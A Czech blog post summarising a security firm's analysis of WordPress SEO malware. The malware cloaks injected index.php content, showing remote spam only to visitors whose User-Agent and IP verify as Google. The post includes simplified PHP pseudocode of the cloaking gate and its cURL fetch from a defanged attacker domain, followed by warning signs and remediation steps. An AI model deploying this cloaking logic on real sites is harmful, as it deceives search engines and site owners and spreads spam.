Přeskočit na obsah
Když malware „krmí“ Googlebot: selektivní cloaking s ověřením IP přes ASN a CIDR ve WordPressu
Hannah Turing
Hannah Turing 2026. January 13. · 10 min read

Když malware „krmí“ Googlebot: selektivní cloaking s ověřením IP přes ASN a CIDR ve WordPressu

V poslední době narážím na zajímavý posun v „SEO malwaru“: nejde o agresivní přesměrování, které si všimneš hned. Útočník raději potichu upraví vstupní bod webu (typicky index.php) a začne rozhodovat, komu ukáže jakou verzi stránky. Běžní uživatelé vidí čistý web. Vyhledávač ale dostane úplně jiný obsah – často spam nebo doorway stránky – které mají ovlivnit indexaci a reputaci domény.

Konkrétní incident popsaný Sucuri je zajímavý tím, že útočník neověřoval Googlebot jen podle User-Agent hlavičky (to jde snadno podvrhnout), ale navíc kontroloval, jestli IP adresa návštěvníka opravdu patří do IP rozsahů Googlu. A to velmi technicky: přes seznam ASN rozsahů v CIDR a bitové operace, včetně podpory IPv6.

Co bylo kompromitované: WordPress index.php jako „vrátný“

V popsaném případě byl injektovaný kód přímo v hlavním index.php WordPressu. To je pro útočníka ideální místo: jde o soubor, kterým projde většina požadavků, a zároveň může skript při „nezajímavém“ návštěvníkovi nenápadně předat řízení standardnímu bootstrappingu WordPressu.

Výsledek je klasický cloaking (maskování): Google vidí jiný obsah než člověk. Jenže realizace je mnohem selektivnější a hůř se odhaluje běžným ručním testováním.

Schéma selektivního doručování obsahu s ověřením IP (IP-verified conditional logic)
Útočník rozhoduje podle identity návštěvníka, zda zobrazí čistý web, nebo vzdálený payload. — Forrás: Sucuri Blog

Proč nestačí kontrola User-Agent a proč útočníci sahají po ASN

User-Agent je textový řetězec posílaný klientem (prohlížečem nebo crawlerem) v HTTP požadavku. Weby ho běžně používají pro analýzu, personalizaci nebo kompatibilitu. Z pohledu útočníka je to ale jen první filtr – a hlavně je triviálně spoofovatelný.

Proto v tomto incidentu následovalo druhé síto: ověření, že IP adresa opravdu patří do Google infrastruktury. V praxi to útočník řešil tak, že měl v kódu „zadrátovaný“ seznam IP rozsahů asociovaných s Google ASN (Autonomous System Number). ASN si můžeš představit jako internetovou identitu organizace: seskupuje IP adresy, které daný subjekt provozuje.

CIDR v kostce (a proč je pro malware praktický)

CIDR (Classless Inter-Domain Routing) je zápis rozsahu IP adres, typicky ve tvaru 192.168.1.0/24. Místo vyjmenování všech adres říká, jak velký blok to je. Pro útočníka je to ideální: stačí uložit několik desítek/stovek CIDR rozsahů a otestovat, jestli IP návštěvníka do některého spadá.

Ukázka CIDR formátu pro definici rozsahů IP adres
CIDR zápis vyjadřuje blok adres kompaktně, bez ručního vyjmenování. — Forrás: Sucuri Blog

Co je na tomhle útoku „nové“: bitové ověřování rozsahu a IPv6

Spousta cloaking skriptů dělá primitivní kontrolu typu „obsahuje User-Agent řetězec Googlebot?“. Tady šel útočník dál: ověřoval IP adresu matematicky tak, aby přesně seděla do síťového bloku. Pro IPv4 používal bitové operace (AND s netmaskou) – tedy robustní test, který se běžně používá i v síťových nástrojích.

<?php
// Pseudokód / zjednodušené schéma logiky z incidentu:

$userAgent = $_SERVER['HTTP_USER_AGENT'] ?? '';
$ip        = $_SERVER['REMOTE_ADDR'] ?? '';

// 1) První filtr: User-Agent (snadno spoofovatelný)
$isGoogleUA = preg_match('~Googlebot|Google-InspectionTool|Google-Site-Verification~i', $userAgent);

// 2) Druhý filtr: IP musí spadat do Google ASN rozsahů v CIDR
// (v incidentu byl seznam rozsáhlý a zadrátovaný přímo v souboru)
$isGoogleIP = ip_in_cidr_ranges($ip, $googleCidrs);

if ($isGoogleUA && $isGoogleIP) {
    // 3) Pro ověřeného bota stáhnout vzdálený obsah a poslat ho jako „nativní“ HTML
    $payload = curl_fetch('hxxps://amp-samaresmanor[.]pages[.]dev');
    if ($payload) {
        echo $payload;
        exit;
    }

    // 4) Fail-safe: když payload selže, neukazovat botovi rozbitou stránku
    header('Location: /home/');
    exit;
}

// 5) Pro běžné uživatele: standardní WordPress
require_once __DIR__ . '/wp-blog-header.php';

Klíčová část je kontrola „IP ∈ CIDR rozsah“. V analýze Sucuri je zmíněná logika ve stylu bitového porovnání (u IPv4) – v principu jde o to, že se IP adresa i síťová adresa „oříznou“ netmaskou a porovnají. Skript navíc počítal i s IPv6, což je detail, který starší malware často ignoruje, a tím je jednodušší odhalit.

Diagram validace IP rozsahu pomocí bitových operací
Namísto string matchingu jde o přesnou síťovou matematiku nad IP a netmaskou. — Forrás: Sucuri Blog

Doručení payloadu: cURL a vzdálený obsah jako „nativní“ stránka

Po úspěšném ověření identity (Google User-Agent + IP v Google rozsazích) malware stáhl obsah z externího endpointu přes cURL a rovnou ho vypsal do response. Z pohledu crawleru to vypadá, jako by daný spam/doorway obsah hostoval přímo napadený web.

V incidentu se zmiňuje konkrétní doména amp-samaresmanor[.]pages[.]dev (ve zdrojích je uvedeno, že byla v době psaní blocklistovaná vybranými bezpečnostními vendor y). Důležité je, že tento typ kampaně může endpointy rotovat – takže samotné blokování jedné domény není systémové řešení.

Schéma stažení vzdáleného payloadu přes cURL a jeho vložení do stránky
Bot dostane obsah z externího zdroje, který se tváří jako součást webu. — Forrás: Sucuri Blog

Filtrace Google ekosystému: nejde jen o „Googlebot“

Další detail, který dává smysl: útočník necílil jen na řetězec „Googlebot“. Zahrnul i různé identifikátory související s kontrolními nástroji, verifikací webu nebo API crawlery. Cíl je jasný – zajistit, aby se podvržený obsah dostal do indexu a zároveň prošel interními kontrolami Googlu.

Ukázka filtrování User-Agentů v malwaru pro různé Google crawler a nástroje
Širší seznam User-Agentů zvyšuje šanci, že spam projde indexací i verifikací. — Forrás: Sucuri Blog

Rozhodovací logika a logování: útočník chce zpětnou vazbu

Tohle není „jednorázový“ skript. Podle popisu měl útočník i ošetření chyb a logování, aby viděl, kdy se podařilo servírovat payload, a kdy naopak někdo zkoušel podvrhnout Google User-Agent, ale neseděla IP.

  • Legitimní bot (UA + IP sedí): zobrazí vzdálený obsah; pokud se nepodaří stáhnout, přesměruje na /home/, aby Google neviděl chybu.
  • Fake bot (UA sedí, IP nesedí): zaloguje pokus a přesměruje na legitimní obsah, aby analýza byla těžší.
  • Běžní uživatelé: typicky okamžitě uvidí standardní web (nebo jsou přesměrováni na „čistou“ landing page).
Rozhodovací strom malwaru: ověření User-Agent, ověření IP, stažení payloadu, fallback a logování
Více vrstev kontroly minimalizuje šanci, že si problému všimneš při běžné návštěvě. — Forrás: Sucuri Blog

Proč se to dotýká hlavně SEO (a proč je to problém i pro vývojáře)

Dopad je primárně reputační a SEO: web začne vyhledávači servírovat něco, co s ním nesouvisí. Následky bývají tvrdé – od zhoršení výsledků vyhledávání až po blacklist nebo deindexaci. Zároveň platí, že takový útok se detekuje pozdě, protože majitel webu při ruční kontrole vidí „všechno v pořádku“.

Varovné signály: co zkontrolovat jako první

  • Divné výsledky v Google (nečekané title/description, cizojazyčný spam, podivné landing pages).
  • Nedávno změněné core soubory – hlavně index.php a další vstupní body.
  • Podezřelé externí URL v kódu a v serverových logách (např. volání na neznámé domény).
  • Neočekávané záznamy v logách (redirecty, cURL requesty, „fake bot“ hlášky apod.).

Jak to funguje ve vztahu k WordPress core souborům

Z pohledu WordPressu je zajímavé, jak útočník balancuje mezi škodlivou logikou a zachováním funkčnosti webu. V popsané variantě si malware pomáhal i standardními soubory:

  • wp-load.php: jeho includování „nastartuje“ WordPress prostředí (konfigurace, DB připojení, constants), což útočníkovi otevírá dveře k dalším možnostem.
  • wp-blog-header.php: typický závěr čistého index.php – pokud skript rozhodne, že nemá servírovat payload, předá řízení běžnému vykreslení webu.

Remediace a prevence: co má reálný efekt

U podobných kompromitací je důležité dělat úklid systematicky, ne jen „smazat jednu podezřelou věc“. Přímo ve zdroji jsou doporučené tyto kroky:

  • Odstranit neznámé soubory/adresáře a vrátit změněné soubory do čistého stavu (ideálně z ověřeného zdroje / balíčku).
  • Zkontrolovat uživatele ve WordPressu a odstranit podezřelé administrátory (typicky „pomocný“ účet vytvořený útočníkem).
  • Resetovat přístupy: WordPress admin, FTP/SFTP, hosting panel, databáze.
  • Zkontrolovat vlastní pracovní stanici (AV/malware scan) – kompromitace často začíná od ukradených přístupů.
  • Udržovat aktualizace WordPressu, pluginů a šablon.
  • Nasadit WAF (Web Application Firewall) – pomáhá blokovat komunikaci na známé škodlivé endpointy a často i prvotní upload zranitelného pluginu nebo webshellu.

Praktická poznámka k detekci

Pokud se spoléháš jen na ruční proklik webu v prohlížeči, tenhle typ útoku snadno přehlédneš. Dává smysl hlídat integritu souborů (File Integrity Monitoring) a pravidelně kontrolovat indexované URL v Google Search Console.

Shrnutí: selektivní cloaking už není „jen UA string“

Tahle kampaň dobře ilustruje trend: útočníci přestávají dělat nápadné věci a raději z napadeného webu udělají řízenou bránu pro obsah určený vyhledávačům. Ověření Googlebotu přes ASN/CIDR a bitové operace (navíc s IPv6) výrazně snižuje šanci, že se problém projeví při běžné kontrole.

Pro vývojáře a správce WordPressu z toho plyne jednoduchá priorita: hlídat změny v core souborech (zejména index.php), mít přehled o tom, co se indexuje, a incident řešit jako kompromitaci celé instalace – ne jako izolovaný „divný redirect“.

Hannah Turing

Hannah Turing

WordPress vývojářka a technická redaktorka v HelloWP. Pomáhám vývojářům vytvářet lepší webové stránky s moderními nástroji jako Laravel, Tailwind CSS a ekosystém WordPress. Vášnivě se věnuji čistému kódu a vývojářské zkušenosti.

Všechny příspěvky

Připojte se ke komunitě HelloWP!

Povídejte si s námi o WordPressu, webovém vývoji a sdílejte zkušenosti s ostatními vývojáři.

- členové
- online
Připojit se

We use cookies to improve your experience. By continuing, you agree to our Cookie Policy.